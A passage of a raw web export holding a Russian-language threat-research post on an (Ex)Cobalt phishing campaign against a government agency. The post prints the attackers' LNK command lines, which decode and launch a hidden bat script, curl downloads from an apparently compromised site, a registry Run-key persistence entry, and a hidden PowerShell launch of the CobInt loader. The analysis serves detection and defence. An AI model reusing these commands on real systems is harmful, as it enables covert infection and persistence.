\u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/783838\/\"> https:\/\/habr.com\/ru\/articles\/783838\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 <a href=\"https:\/\/rt-solar.ru\/solar-4rays\/blog\/\">\u0431\u043b\u043e\u0433<\/a> \u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 Solar 4RAYS, \u0433\u0434\u0435 \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u043e\u0431 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437\u0430\u0445, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0437 \u0431\u043b\u043e\u0433\u0430 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0434\u0435\u0441\u044c, \u0438 \u0432\u043e\u0442 \u043e\u0434\u043d\u043e \u0438\u0437 \u043d\u0438\u0445.<\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043e\u0434\u043d\u043e \u0438\u0437 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 (Ex)Cobalt (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043a\u0430\u043a Comet\/Shadow\/Twelve). \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u0443\u044e \u0432\u044b\u0433\u043e\u0434\u0443, \u043d\u043e \u0437\u0430\u0442\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u0441\u0442\u0430\u043b\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u043c. \u041c\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u043f\u043e\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0442\u0435\u0432\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435\u00a0\u043d\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u043e\u0442\u0434\u0430\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u0441 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439:\u00a0\u043e\u043d\u0438 \u043f\u043e\u043a\u0430\u00a0\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f, \u0442\u0430\u043a \u043a\u0430\u043a\u00a0\u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u0431\u0443\u0434\u0443\u0449\u0435\u043c.<\/p>\n<h2>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0440\u0445\u0438\u0432\u0430\u043c\u0438 \u00ab\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f.rar\u00bb, \u00ab\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439.rar\u00bb. \u0412\u043d\u0443\u0442\u0440\u0438 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c LNK-\u0444\u0430\u0439\u043b\u044b \u00abDocument_Microsoft_Word.lnk\u00bb, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0430 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430. \u0412 overlay \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 bat-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f certutil \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>\u0412 \u043e\u0431\u0440\u0430\u0437\u0446\u0435 <strong>Document_Microsoft_Word.lnk <\/strong>(MD5: 375a82ae45a8041fc02a648f19154501) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Arguments: \/v   \/c set c=&#187;%cd%\\<strong>Document_Microsoft_Word.lnk<\/strong>&#171;&amp;(if   not exist &#171;!c!&#187; (for \/f &#171;tokens=*&#187; %l in (&#8216;where \/r &#171;%localappdata%&#187;   Document_Microsoft_Word.?nk&#8217;) do set c=%l))&amp;>nul set e=t&amp;set   h=b&amp;set q=%temp%&amp;<strong>cer!e!util -decode<\/strong>   &#171;!c!&#187; !q!\\<strong>yoedfeyeoid<\/strong>.!h!at&amp;<strong>start<\/strong>   \/b !q!\\yoedfeyeoid<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0421 \u0435\u0435 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 <strong>yoedfeyeoid.bat<\/strong>.<\/p>\n<p>\u0412 \u043e\u0431\u0440\u0430\u0437\u0446\u0435 <strong>Document_Microsoft_Word.lnk <\/strong>(MD5: 3de34143d90ad3d74ae2c82d91f5ca42) \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0447\u0443\u0442\u044c \u0438\u043d\u0430\u0447\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Arguments: \/v   \/c set d=&#187;%cd%\\<strong>Document_Microsoft_Word.lnk<\/strong>&#171;&amp;(if not   exist &#171;!d!&#187; (for \/f &#171;tokens=*&#187; %s in (&#8216;where \/r   &#171;%localappdata%&#187; Document_Microsoft_Word.l?k&#8217;) do set d=%s))&amp;>nul   set u=c&amp;set p=b&amp;set t=%temp%&amp;!u!<strong>ertutil -decode<\/strong> &#171;!d!&#187; !t!\\<strong>hutpjsav<\/strong>.!p!at&amp;start \/b   !t!\\hutpjsav<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041d\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0442 \u0436\u0435 \u2013 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430 <strong>hutpjsav.bat<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0441\u0442\u0430\u0434\u0438\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 LNK-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u041e\u0431\u0449\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0432\u043e \u0432\u0441\u0435\u0445 \u0438\u0437\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043d\u0430\u043c\u0438 \u0441\u043b\u0443\u0447\u0430\u044f\u0445. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0435 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0430\u0440\u0445\u0438\u0432\u0430 \u00ab\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439.rar\u00bb (MD5: 1c2c01c22712e0ed3444b5aae5c5dfac), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u0435:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0438\u0437\u0443\u0447\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0438\u0445 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 LNK-\u0444\u0430\u0439\u043b\u0430.<\/p>\n<h2>I \u0441\u0442\u0430\u0434\u0438\u044f. Bat-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0439 bat-\u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u044b VBS (Visual Basic Script) \u0438 PS (PowerShell), \u0430 \u0442\u0430\u043a\u0436\u0435 docx-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 (%TEMP%\\Document_Microsoft_Word.docx). \u0414\u043b\u044f \u0438\u0445 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430 (hxxps:\/\/aquatech72[.]ru). \u0424\u0430\u0439\u043b \u0437\u0430\u0434\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u043e\u043a \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0434\u0438\u0439:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>curl.exe   &#171;https:\/\/aquatech72[.]ru\/ebboyeewf.txt&#187; -o %mrb%>nul<\/strong><\/p>\n<p align=\"left\"><strong>curl.exe   &#171;https:\/\/aquatech72[.]ru\/yyiygui.txt&#187; -o %unc%>nul<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><em>\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0431\u043e\u0440\u043a\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/em><\/p>\n<p>Base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f \u0432 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0435, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u044b certutil.exe.<\/p>\n<p>Bat-\u0441\u043a\u0440\u0438\u043f\u0442 \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 VBS \u0438 PS \u0432 \u043a\u043b\u044e\u0447\u0435 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 HKLM|HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u2013 \u00abXboxGamingOveray\u00bb, \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2013 \u00abC:\\WINDOWS\\System32\\wscript.exe C:\\ProgramData\\Packagr\\XboxGamingOverlay.vbs C:\\ProgramData\\Packagr\\\u00bb. <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u043b\u044e\u0447 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u2013 \u00abDathanges\u00bb \u2013 \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u00abwscript.exe C:\\ProgramData\\Packagd\\XboxGamingOverlay.vbs\u00bb.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0434\u0438\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a VBS-\u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 PowerShell.<\/p>\n<figure class=\"full-width\">\n<div><figcaption><em>\u041e\u0431\u0449\u0438\u0439 \u0432\u0438\u0434 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0430<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>II \u0441\u0442\u0430\u0434\u0438\u044f. VBS-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u0412\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0430\u0434\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u2013 \u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 (\u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438):<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe   -ex bypass -NvLogo -NonInteractive -NoProfile -WindowStyle Hidden -File <strong>&#171;XboxGamingOverlay.ps1&#187;<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>III \u0441\u0442\u0430\u0434\u0438\u044f. PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u041e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c CobInt \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0435\u0433\u043e. \u0418\u043c\u0435\u044e\u0442\u0441\u044f \u0434\u0432\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CobInt \u2013 x86 \u0438 x64, \u2013 \u043e\u043d\u0438 \u043e\u0431\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430: hxxps:\/\/netstaticpoints[.]com. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u043d\u043e, \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u043c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0440\u0430\u043d\u0435\u0435 \u0443\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 CobInt, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0438 \u0437\u0434\u0435\u0441\u044c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u0438\u043c\u0435\u043d\u043d\u043e CobInt.<\/p>\n<p>\u0410\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CobInt \u0432 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 Cobalt, \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0431\u044b\u043b\u043e \u0440\u0430\u043d\u0435\u0435 <a href=\"https:\/\/www.proofpoint.com\/us\/threat-insight\/post\/new-modular-downloaders-fingerprint-systems-part-3-cobint\">\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e<\/a> \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0438\u0437 \u0418\u0411-\u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430.<\/p>\n<figure class=\"\">\n<div><figcaption><em>\u0425\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f 